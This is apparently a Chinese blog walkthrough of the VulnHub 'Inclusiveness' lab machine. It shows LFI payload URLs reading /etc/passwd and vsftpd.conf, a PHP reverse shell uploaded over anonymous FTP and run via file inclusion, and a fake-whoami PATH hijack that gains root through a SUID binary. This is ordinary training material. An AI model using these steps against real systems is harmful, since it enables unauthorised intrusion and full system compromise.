当前位置:网站首页>vulnhub inclusiveness: 1
vulnhub inclusiveness: 1
2022-07-17 12:51:00 【仙女象】
渗透思路:
nmap扫描 ---- 绕过非搜索引擎(User-Agent头)过滤读取robots.txt ---- 利用LFI和ftp匿名上传文件getshell ---- C语言代码审计提权
环境信息:
靶机:192.168.101.83
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.83
扫描到tcp端口21、22、80。
其中21端口ftp是可以匿名登录的,并且根目录下有一个可以写入的文件夹pub。这个文件夹下什么文件也没有,可能是后续需要写入一些文件。
2、绕过User-Agent头过滤
访问网站的robots.txt文件,发现提示说我不是搜索引擎所以不能读取robots.txt的内容
http://192.168.101.83/robots.txt

访问http://192.168.101.83/robots.txt的同时用burpsuite的proxy模块抓包,并将抓到的报文send to repeater
在repeater模块中修改请求报文的User-Agent头,修改为
User-Agent: GoogleBot
发送后,在响应报文中发现一个新目录/secret_information/

(修改User-Agent头还可以通过修改浏览器配置或者浏览器插件等方法)
3、利用LFI和ftp匿名上传getshell
浏览器中访问http://192.168.101.83/secret_information/,发现两个链接,english和spanish

点一下english,发现url变成了http://192.168.101.83/secret_information/?lang=en.php
lang的参数值是一个文件名,也许有文件包含漏洞。
尝试用浏览器访问http://192.168.101.83/secret_information/?lang=/etc/passwd
页面回显了/etc/passwd的内容,可以证实有LFI

后来在攻击机上起http服务,并尝试在此处包含攻击机上的文件,没有包含成功,看来没有RFI。
步骤1中已知有一个可以上传文件的ftp目录,可以往这个目录上传一个php反弹shell文件。
我上传的是kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php),修改其中的$ip为攻击机ip,$port为攻击机nc监听端口。匿名登录靶机ftp(用户名anonymous,密码为空),并用put命令上传php反弹shell
ftp 192.168.101.83 anonymous ftp> ls ftp> cd pub ftp> put php-reverse.php

先在反弹shell有了,要想利用本地文件包含漏洞执行php反弹shell的话,还得知道反弹shell所在系统路径。
由于在步骤1中nmap已经识别到ftp的版本是vsftpd 3.0.3,所以我一开始尝试利用LFI读取/etc/vsftpd/vsftpd.conf的内容,但是发现靶机上没有这个文件,于是我尝试将vsftpd这级目录去掉,也就是利用LFI访问/etc/vsftpd.conf,读取到了ftp的配置
http://192.168.101.83/secret_information/?lang=/etc/vsftpd.conf
查看网页源代码可以看得更清楚,配置文件拉到最下面,发现匿名用户登录的目录为/var/ftp
anon_root=/var/ftp/

浏览器访问:http://192.168.101.83/secret_information/?lang=/var/ftp/pub/php-reverse.php
得到靶机www-data用户的反弹shell

4、C语言代码审计提权
靶机shell中输入如下命令得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
输入如下命令查找系统中有suid权限的命令
find / -user root -perm /4000 2>/dev/null
发现一个可疑的:/home/tom/rootshell

执行一下试试,发现两行打印,看样子是要校验当前用户是否是tom,执行完之后用户还是www-data
checking if you are tom...
you are: www-data

想了很多办法提权到tom都没有可行的,最后/home/tom目录下一看,源代码rootshell.c是可读的

读了一下rootshell.c的内容,发现它是通过whoami这个命令来获取当前用户名的

那么我灵机一动,做个假的whoami命令让它返回tom不就行了。
于是我来到/tmp目录下,执行如下命令创建了一个假的whoami命令文件,并赋可执行权限
[email protected]:/home/tom$ cd /tmp [email protected]:/tmp$ echo "echo 'tom'" > whoami [email protected]:/tmp$ chmod +x whoami
但光这样还是不够的,从下图中可以看到,执行whoami命令时返回的用户名还是www-data

还需要设置系统变量PATH,把/tmp放在最前面,这样执行命令的时候系统就会先在/tmp目录下找了
[email protected]:/tmp$ PATH=/tmp:$PATH
现在再执行whoami,得到的就是tom了

最后,执行/home/tom/rootshell,得到root权限,并在/root目录下找到flag.txt

边栏推荐
- 如果是用mybatics去访问达梦数据库,相当于完全一样了?因为SQL语法没变。对吧?
- 【CSP-J 2021】总结
- SAP S4 Material Management 库存模块 MARD 数据库表读取技术细节介绍
- Crud code practice of user management based on koa2 + MySQL
- 【PostgreSQL 】PostgreSQL 15对distinct的优化
- 线程池原理
- LeetCode 2319. 判断矩阵是否是一个 X 矩阵
- VScode+Unity3D的配置
- Three programming implementations to quickly determine whether the site is alive
- MFC | self drawn CEdit control under the framework
猜你喜欢

Design and Simulation of intelligent storage cabinet control system

SAP Fiori 的附件处理(Attachment handling)

架构实战营|模块7

Map遍历 key-value 的4种方法

HCIA review and answer 2022.7.6

Design of the multi live architecture in different places of the king glory mall

查找——平衡二叉树

NAT技术及NAT ALG

NJCTF 2017messager

知其然,而知其所以然,JS 对象创建与继承
随机推荐
二叉树刷题(二)
Studio 3T unlimited trial
SAP Fiori 的附件处理(Attachment handling)
LeetCode 2325. 解密消息(map)
【Makefile】关于makefile使用上的一些备忘
Attachment handling of SAP Fiori
Avi 部署使用指南(2):Avi 架构概述
华为机试:连续出牌数量
如果是用mybatics去访问达梦数据库,相当于完全一样了?因为SQL语法没变。对吧?
金鱼哥RHCA回忆录:CL210描述OPENSTACK控制平面--识别overclound控制平台服务+章节实验
SAP S4 Material Management 库存模块 MARD 数据库表读取技术细节介绍
选择比努力更重要
Idea display service port --service
华为防火墙认证技术
C语言结构体实现简易通讯录
The use and Simulation of stack and queue in STL
Develop the first Flink app
Autojs learning - multi function treasure chest - bottom
Stream流
Job: enter an odd number of 1-100